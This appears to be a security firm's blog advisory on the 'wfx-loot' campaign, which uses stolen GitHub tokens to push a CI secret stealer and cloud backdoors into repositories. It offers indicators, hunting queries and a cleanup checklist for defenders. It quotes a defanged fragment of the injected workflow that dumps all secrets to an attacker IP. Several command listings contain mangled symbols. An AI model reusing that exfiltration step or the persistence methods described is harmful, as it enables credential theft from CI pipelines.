15 min to read
wfx-loot: 4,800 Hijacked GitHub Accounts Are Raiding CI Secrets
Stolen tokens, a one-minute "sandwich commit" and backdoors that survive rotation. Here is how to check your organisation and clean up properly.
Nobody had to find a bug in GitHub for this one. Since 10 November 2026, an attacker holding thousands of stolen GitHub tokens has been opening harmless-looking pull requests, slipping a 1,500-line credential stealer into CI pipelines, and reverting the change about a minute later. What gets left behind is a skipped number in your workflow run history, and your cloud keys sitting on someone else’s server.
Researchers at Aikido, who named the campaign “wfx-loot”, counted 4,837 compromised accounts opening probe pull requests across 61,764 repositories, with the stealer running in at least 1,800 of them. Named victims include Fortune 100 organisations, the US General Services Administration, the French government, Nextcloud and WebdriverIO. The campaign was still active when the main reports came out on 12 and 13 November, and GitHub had not commented publicly.
If your company keeps code on GitHub, including through a contractor or an open-source dependency you maintain, give this an hour today.
TL;DR / key takeaways
- What: A mass campaign using stolen GitHub tokens (not a GitHub vulnerability) to push a CI secret stealer into repositories, then delete the evidence within about a minute.
- Scale: 4,837 accounts, 61,764 repos probed, 1,800+ confirmed executions (Aikido); SafeDep and Endor Labs found malicious commits in 8,000 to 9,000 repos.
- Why it is worse than a normal leak: the payload uses GitHub OIDC to get into AWS, Azure and GCP, and plants backdoors (wide-open IAM trust policies,
wfx-ci-*federated credentials) that survive secret rotation.- Check now: search your org for the PR title
docs: dependency audit notes, branches namedwfx-docs, and the commit messages listed below. A probe PR alone means that account’s credentials are stolen.- If it ran: rotate every secret the job could reach, revoke the author’s tokens, and audit your cloud for the persistence artefacts. Rotation alone is not enough.
What happened
wfx-loot is a supply-chain attack on the build pipeline rather than on a package registry. The attacker already had working GitHub credentials (personal access tokens, OAuth tokens and GitHub App tokens) for thousands of developers. Each token was used to check what it could write to, then to run the stealer inside that repository’s GitHub Actions runners, where secrets are decrypted and handed to the job.
Because so many developers have write access to their employer’s repositories, or are collaborators on other projects, one stolen personal token could reach organisations that were never breached themselves. Aikido counted 10,431 probe PRs opened in repositories the compromised account did not own.
Timeline
All times UTC, 2026. Counts were taken at different times by different firms, so expect them to differ.
- 24 to 29 October: A smaller precursor phase runs, according to GitGuardian.
- 10 November, ~12:45: The mass wave starts. Stolen tokens begin opening probe PRs and pushing payloads (Aikido).
- 11 November, morning: npm-hook payload commits jump to 838 in a three-hour window, up from 10 to 70 earlier (GitGuardian).
- 11 November, ~15:00: Aikido’s count reaches 61,764 repos probed by 4,837 accounts.
- 12 November, 01:10: A third collection server,
153.75.82[.]159, and a Telegram backup channel appear; by about 05:30, new payloads send data only through Telegram (CSA, citing researcher reports). - 12 November, 07:40: StepSecurity counts more than 63,000 probe PRs and more than 21,000
ci: refresh build cachecommits. - 12 November, 21:35: Endor Labs reports malicious commits in 8,926 repositories.
- 13 November: GitHub search shows 66,001 probe PRs since 10 November (GitGuardian). Fly.io says some abused tokens for its GitHub App came from publicly accessible
.git/configfiles and that it is revoking them (Heise). GitHub has still not commented.
How the attack works
You do not need exploit-level detail to defend against this, but the mechanics explain why the usual “rotate the leaked key” response falls short.
Step 1: The probe
The account creates a wfx-docs branch and opens a pull request titled “docs: dependency audit notes” that adds docs/wfx-audit.md. There is no payload. It only confirms the token can write. Aikido, StepSecurity and SafeDep agree on the consequence: if a probe PR exists, the account that opened it is compromised, even if nothing else happened. Around 90% of these PRs were still open when researchers checked, so most owners had not noticed.
Step 2: The payload, in one of four wrappers
| Delivery method | Commit message | What changes |
|---|---|---|
| Inject into an existing workflow | ci: refresh build cache |
~1,500 lines added; steps named Restore cache <xxxx> or Pass runtime |
| Hidden script + npm hook | chore: add ci helper |
.ci-xxxxxx.sh in the repo root, run from a postinstall hook in package.json |
| Throwaway workflow on a side branch | chore: add dependency audit workflow |
.github/workflows/build-audit-xxxxxx.yml on a chore/xxxxxxxx branch |
| Append to a CI shell script | varies | An existing script called by a workflow (e.g. update.sh) |
The injected workflow step serialises every secret and variable the repository can see, not just the ones the workflow uses:
~|#| As published by Aikido (defanged). Do not run.
~|-| name: Restore cache j632
env:
WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
WF_SECRETS: "${{ toJSON(secrets) }}"
WF_VARS: "${{ toJSON(vars) }}"
Step 3: The “sandwich” and the clean-up
A revert commit (ci: restore or ci: cleanup) usually lands within about a minute, and the attacker deletes the workflow run and its logs. Endor Labs calls these “sandwich commits”. Aikido notes that a missing run number in your Actions history is often the most reliable sign that the payload ran.
What the stealer takes
According to Aikido’s and CSA’s analyses, the script collects:
- All GitHub Actions secrets and variables,
GITHUB_TOKEN, OIDC and runtime tokens. - AWS, Azure and GCP credential files; Docker, Kubernetes, npm, PyPI, SSH, GPG, Vault and Terraform material, including
*.tfvarsand*.tfstate. - AI provider and tool keys: OpenAI, Anthropic, Gemini, Hugging Face, Cursor, Copilot, Codex and more.
.env,.pem,.p12,.jksandkubeconfigfiles, shell histories, the last 100 commits.- Decrypted secrets scraped from the memory of the
Runner.WorkerandRunner.Listenerprocesses. This is why the npm-hook and script variants can steal secrets without touching a workflow file. - On self-hosted runners: cloud instance-metadata credentials, Docker state and runner registration material.
The part that survives rotation
The injected workflow requests id-token: write, mints GitHub OIDC tokens and tries to exchange them for cloud sessions, even in repositories with no cloud set-up. Where it succeeds, it tries to persist:
- AWS: role sessions named
wfx-*, chaining into other roles,iam:CreateAccessKey, and rewriting a role’s trust policy to"Principal": {"AWS": "*"}, so that any AWS account can assume it. - Azure / Entra ID: adding federated identity credentials named
wfx-ci-<n>to app registrations, so workflows from the attacker-touched repo can log in without any stored secret. It also replays cached Azure CLI refresh tokens against Microsoft Graph, ARM and Key Vault. - GCP:
generateAccessTokenandsignJwtimpersonation using harvested service-account keys. - GitHub: code to post forged “success” statuses on required checks. StepSecurity found it disabled in all 101 samples it examined, but Aikido describes it as part of the toolkit.
As the CSA research note puts it, both cloud backdoors survive secret rotation. That is the main reason this campaign needs more than a key reset.
A note on GitHub’s guardrails
GitGuardian found that every November workflow-file payload run it could still observe (seven of seven) was held by GitHub with status action_required and never started. The npm-hook variant got around this. It changes no workflow file, so the repository’s existing, trusted workflow runs npm install and executes the hidden script. Public logs from 19 repositories show the script running, and 18 report successful exfiltration. The same applies to any developer who ran npm install on an affected commit on their own laptop.
Am I affected?
Work through these in order. Anything from 10 November onwards (24 October if you want to be thorough) counts.
- Probe PRs or branches: any PR titled
docs: dependency audit notes, or branches namedwfx-docs,chore/[a-z0-9]{8}orci-check-[0-9]{4}. - Payload commits:
ci: refresh build cache,chore: add ci helper,chore: add dependency audit workflow, followed byci: restoreorci: cleanup. - Run-number gaps: a skipped Actions run number around the time of a suspicious commit.
- Packages: Packagist
digitalelvis/neuronai-studio3.14.3 (payload runs onnpm installinsidevendor/); Gogithub.com/onuragtas/docker-envv1.0.278 and v1.0.280 (v1.0.282 per SafeDep). In the Go modules the payload sits only in a workflow file that Go builds do not execute, but remove the versions anyway. - Network: runner or proxy traffic to
194.150.166[.]244,18.143.168[.]96or153.75.82[.]159on port 8080, or unexpectedapi.telegram.orgtraffic from CI.
The absence of wfx-loot-* artifacts, wfx- cache entries or WFX-BEGIN step summaries proves nothing. Those channels were switched off in this campaign and data went straight off the runner.
Hunting queries
GitHub (run with an org admin’s gh CLI; replace YOUR_ORG):
~|#| Probe PRs anywhere in your org (public and private repos you can see)
gh search prs "docs: dependency audit notes" ~|-|~|-|owner YOUR_ORG ~|-|~|-|limit 200 \
~|-|~|-|json repository,author,createdAt,url
~|#| Payload and revert commits
for msg in "ci: refresh build cache" "chore: add ci helper" \
"chore: add dependency audit workflow" "ci: restore" "ci: cleanup"; do
gh search commits "\"$msg\"" ~|-|~|-|owner YOUR_ORG ~|-|~|-|limit 100 \
~|-|~|-|json repository,sha,author,commit
done
~|#| Suspicious branch names in one repo
gh api repos/YOUR_ORG/REPO/branches ~|-|~|-|paginate ~|-|~|-|jq '.[].name' \
| grep ~|-|E '^(wfx~|-|docs|chore/[a~|-|z0~|-|9]{8}|ci~|-|check~|-|[0~|-|9]{4})$'
~|#| Gaps in workflow run numbers since 10 Nov (deleted runs)
gh api "repos/YOUR_ORG/REPO/actions/runs?created~|=|>~|=|2026~|-|11~|-|10&per_page~|=|100" \
~|-|~|-|paginate ~|-|~|-|jq '.workflow_runs[].run_number' | sort ~|-|n | \
awk 'NR>1 && $1!~|=|prev+1 {print "gap after run", prev} {prev~|=|$1}'
Commit search does not see every private repository or every branch, so also review your organisation audit log for workflows.delete_workflow_run, git.push and branch-protection changes by the affected accounts. GitGuardian also suggests checking job logs for a sh ./.ci- line and for npm/pnpm/yarn installs without --ignore-scripts on hook commits.
AWS CloudTrail (Athena / CloudTrail Lake style):
SELECT eventtime, eventname, useridentity.arn, sourceipaddress, requestparameters
FROM cloudtrail_logs
WHERE eventtime >~|=| '2026~|-|11~|-|10'
AND (
(eventname ~|=| 'AssumeRoleWithWebIdentity' AND requestparameters LIKE '%wfx~|-|%')
OR (eventname ~|=| 'AssumeRole' AND requestparameters LIKE '%wfx~|-|%')
OR eventname IN ('CreateAccessKey', 'UpdateAssumeRolePolicy')
)
ORDER BY eventtime;
Then list every role whose trust policy allows "AWS": "*":
for r in $(aws iam list~|-|roles ~|-|~|-|query 'Roles[].RoleName' ~|-|~|-|output text); do
aws iam get~|-|role ~|-|~|-|role~|-|name "$r" ~|-|~|-|query 'Role.AssumeRolePolicyDocument' \
~|-|~|-|output json | grep ~|-|q '"AWS": "\*"' && echo "OPEN TRUST: $r"
done
Microsoft Entra ID (Sentinel / Log Analytics KQL):
AuditLogs
| where TimeGenerated >~|=| datetime(2026~|-|11~|-|10)
| where OperationName has "application"
| where tostring(TargetResources) has "FederatedIdentityCredential"
or tostring(TargetResources) has "wfx~|-|ci"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
Also check each app registration directly (App registrations → Certificates & secrets → Federated credentials) for anything named wfx-ci-*.
GCP: in Cloud Audit Logs, review GenerateAccessToken and SignJwt calls coming from GitHub workload identity pools since 10 November. Vault: review JWT logins from the GitHub OIDC issuer.
What to do: a prioritised checklist
Immediately (today)
- Run the searches above across every org, including contractor-managed and open-source orgs your staff contribute to.
- For every account that opened a probe: revoke its personal access tokens, OAuth app grants, GitHub CLI tokens, SSH keys and active sessions; force a password reset with phishing-resistant MFA. Check bot accounts too. CSA notes WebdriverIO’s bot bypassed branch protection to land 56 commits across 28 repos.
- Where the payload ran: rotate every secret the job could reach. That means all repo, environment and org secrets and variables (not just the ones the workflow references), registry publish tokens, cloud keys, Vault and Kubernetes credentials, self-hosted runner host credentials and all AI API keys.
- Remove persistence: delete
wfx-ci-*federated credentials, restore AWS trust policies, and delete IAM access keys and GCP keys you did not create. - Treat any laptop that ran
npm installon an affected commit as compromised. - Block runner egress to the three collection IPs, and alert on
api.telegram.orgfrom CI unless you have a business reason for it.
This week
- Set the default
GITHUB_TOKENpermission to read-only at org level and grant write per job. - Require reviewed PRs for all pushes to default and release branches, include administrators, and audit bypass lists.
- Extend
CODEOWNERSto cover what CI executes:.github/workflows/,package.jsonlifecycle hooks and shell scripts. - Scope cloud OIDC trust to specific repos, branches and environments (for example a
subcondition ofrepo:YOUR_ORG/REPO:environment:prod), never an org-wide wildcard. - Move deploy secrets into protected environments with required reviewers.
- Use
npm ci --ignore-scriptsin CI where your build allows it, and alert on new lifecycle hooks. - Remove any
.git/configor.git/directory exposed on web servers, a reported source of some of these tokens.
Longer term
- Treat developer GitHub tokens as high-value non-human credentials: fine-grained, short-lived, inventoried, and revoked as a verified step in every offboarding and incident.
- Replace long-lived cloud keys in CI with OIDC, and AI keys with per-project keys behind spending caps and usage alerts.
- Stream GitHub audit logs and workflow run metadata to a tamper-resistant store. The attacker deleted runs and logs on GitHub, so a copy outside GitHub is your only record.
- Run secret scanning (GitHub’s own, or GitGuardian/TruffleHog) on code and on developer endpoints.
OffensioX perspective
wfx-loot follows GhostAction, which GitGuardian tied to about 1,900 accounts and 30,000+ repositories in October. About 20% of wfx-loot accounts (431, per GitGuardian) had already been hit in that wave, and CSA reports some victims were re-compromised because they never rotated. That is the real lesson. The attacker did not need anything clever. They needed tokens that were never revoked and CI pipelines that trust whoever can push. In a modern company, a GitHub token is effectively a cloud credential, because OIDC federation connects your repositories straight to AWS, Azure and GCP. In Pakistan and across South Asia, many e-commerce and SaaS teams lean on freelancers and outsourced developers with broad org access and long-lived personal tokens, which is exactly the trust this campaign exploits. Review who can push, what CI can reach and how fast you can revoke, before the next wave rather than after it.
If you would like an independent look at your GitHub organisation, CI/CD pipelines and cloud trust relationships, OffensioX runs penetration tests and security assessments that cover exactly this path from developer token to cloud.
References
- Aikido: wfx-loot campaign pushes CI secret stealer to tens of thousands of repositories
- BleepingComputer: Hackers compromise 4,800 GitHub accounts to steal cloud credentials
- Cloud Security Alliance: The wfx Campaign, Hijacked GitHub Accounts Harvest CI Secrets
- GitGuardian: wfx-loot, a CI secret stealer pushed with stolen GitHub credentials
- Chainguard: wfx-loot, stolen GitHub tokens pushed a CI secret stealer into 60,000+ repositories
- Heise: Stolen tokens, secret stealer targets thousands of GitHub repositories
- GitHub Docs: Secure use reference for GitHub Actions
- GitHub Docs: OpenID Connect